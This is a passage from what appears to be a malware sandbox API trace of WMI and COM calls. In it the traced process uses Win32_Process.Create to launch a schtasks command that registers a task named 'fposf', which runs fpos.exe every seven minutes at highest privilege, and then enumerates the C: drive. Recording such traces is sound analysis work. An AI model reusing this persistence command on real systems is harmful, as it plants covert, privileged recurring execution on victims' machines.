pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.435] WbemDefPath:IUnknown:Release (This=0x1bf10bc0) returned 0x3 [0086.435] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0086.435] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0086.435] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0086.435] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x2 [0086.436] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x1 [0086.436] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0086.436] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0086.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c000, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3c000) returned 0x0 [0086.436] WbemDefPath:IUnknown:AddRef (This=0x1bf3c000) returned 0x3 [0086.436] WbemDefPath:IUnknown:Release (This=0x1bf3c000) returned 0x2 [0086.436] WbemDefPath:IWbemPath:SetText (This=0x1bf3c000, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0086.436] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0086.436] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0086.436] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.436] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0086.436] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0086.436] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0086.436] IUnknown:Release (This=0x111f638) returned 0x1 [0086.438] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf10c00) returned 0x0 [0086.438] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10c00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0086.438] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10c00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3c0c0) returned 0x0 [0086.438] WbemDefPath:IUnknown:Release (This=0x1bf10c00) returned 0x0 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3c0c0) returned 0x0 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0086.439] WbemDefPath:IUnknown:AddRef (This=0x1bf3c0c0) returned 0x3 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf10ec0) returned 0x0 [0086.439] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.439] WbemDefPath:IUnknown:Release (This=0x1bf10ec0) returned 0x3 [0086.439] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0086.439] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0086.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0086.439] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x2 [0086.439] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x1 [0086.440] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0086.440] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0086.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c0c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3c0c0) returned 0x0 [0086.440] WbemDefPath:IUnknown:AddRef (This=0x1bf3c0c0) returned 0x3 [0086.440] WbemDefPath:IUnknown:Release (This=0x1bf3c0c0) returned 0x2 [0086.440] WbemDefPath:IWbemPath:SetText (This=0x1bf3c0c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c000, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c0c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c0c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c0c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0086.440] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3c000) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c0c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c0c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c0c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0086.440] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c000, uIndex=0x0, pszName="root") returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c0c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3c0c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0086.440] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3c000, uIndex=0x1, pszName="cimv2") returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c0c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c0c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c000, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3c000, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0086.440] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c000, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c000, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0086.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0086.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c000, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0086.442] IWbemServices:GetObject (in: This=0x1bed29c0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef5180, ppCallResult=0x0) returned 0x0 [0086.484] IWbemClassObject:GetMethod (in: This=0x1bef5180, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef54f0, ppOutSignature=0x1b2fd9e0*=0x1bef5860) returned 0x0 [0086.485] IWbemClassObject:SpawnInstance (in: This=0x1bef54f0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf45350) returned 0x0 [0086.486] IWbemClassObject:Get (in: This=0x1bf45350, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29596e8*=0, plFlavor=0x29596ec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29596e8*=8, plFlavor=0x29596ec*=32) returned 0x0 [0086.486] IWbemClassObject:Get (in: This=0x1bf45350, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29596e8*=8, plFlavor=0x29596ec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29596e8*=8, plFlavor=0x29596ec*=32) returned 0x0 [0086.487] IWbemClassObject:Put (This=0x1bf45350, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 7 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0086.487] IWbemClassObject:Get (in: This=0x1bf45350, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959778*=0, plFlavor=0x295977c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959778*=13, plFlavor=0x295977c*=32) returned 0x0 [0086.487] IWbemClassObject:Get (in: This=0x1bf45350, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959778*=13, plFlavor=0x295977c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959778*=13, plFlavor=0x295977c*=32) returned 0x0 [0086.487] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef4aa0) returned 0x0 [0086.487] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0086.487] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0086.488] IUnknown:AddRef (This=0x1bef4aa0) returned 0x3 [0086.488] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0086.488] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0086.488] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef4aa8) returned 0x0 [0086.488] IMarshal:GetUnmarshalClass (in: This=0x1bef4aa8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0086.488] IUnknown:Release (This=0x1bef4aa8) returned 0x3 [0086.488] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0086.488] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0086.488] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0086.488] IUnknown:Release (This=0x1bef4aa0) returned 0x2 [0086.488] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0086.488] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0086.488] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0086.489] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0086.489] IUnknown:QueryInterface (in: This=0x1bef4aa0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0086.489] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0086.489] IUnknown:AddRef (This=0x1bef4aa0) returned 0x3 [0086.489] IWbemClassObject:Put (This=0x1bf45350, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef4aa0, varVal2=0x0), Type=0) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a8c0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0086.489] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0086.490] IWbemServices:ExecMethod (in: This=0x1bed29c0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf45350, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf45600, ppCallResult=0x0) returned 0x0 [0086.656] IWbemClassObject:Get (in: This=0x1bf45600, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959a90*=0, plFlavor=0x2959a94*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x328, varVal2=0x0), pType=0x2959a90*=19, plFlavor=0x2959a94*=0) returned 0x0 [0086.657] IWbemClassObject:Get (in: This=0x1bf45600, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2959a90*=19, plFlavor=0x2959a94*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x328, varVal2=0x0), pType=0x2959a90*=19, plFlavor=0x2959a94*=0) returned 0x0 [0086.658] CoTaskMemAlloc (cb=0x20c) returned 0x11632e0 [0086.658] GetSystemDirectoryW (in: lpBuffer=0x11632e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.658] CoTaskMemFree (pv=0x11632e0) [0086.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0086.658] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0086.659] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbf050 [0086.659] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0086.659] FindNextFileW (in: hFindFile=0x1bfbf050, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, 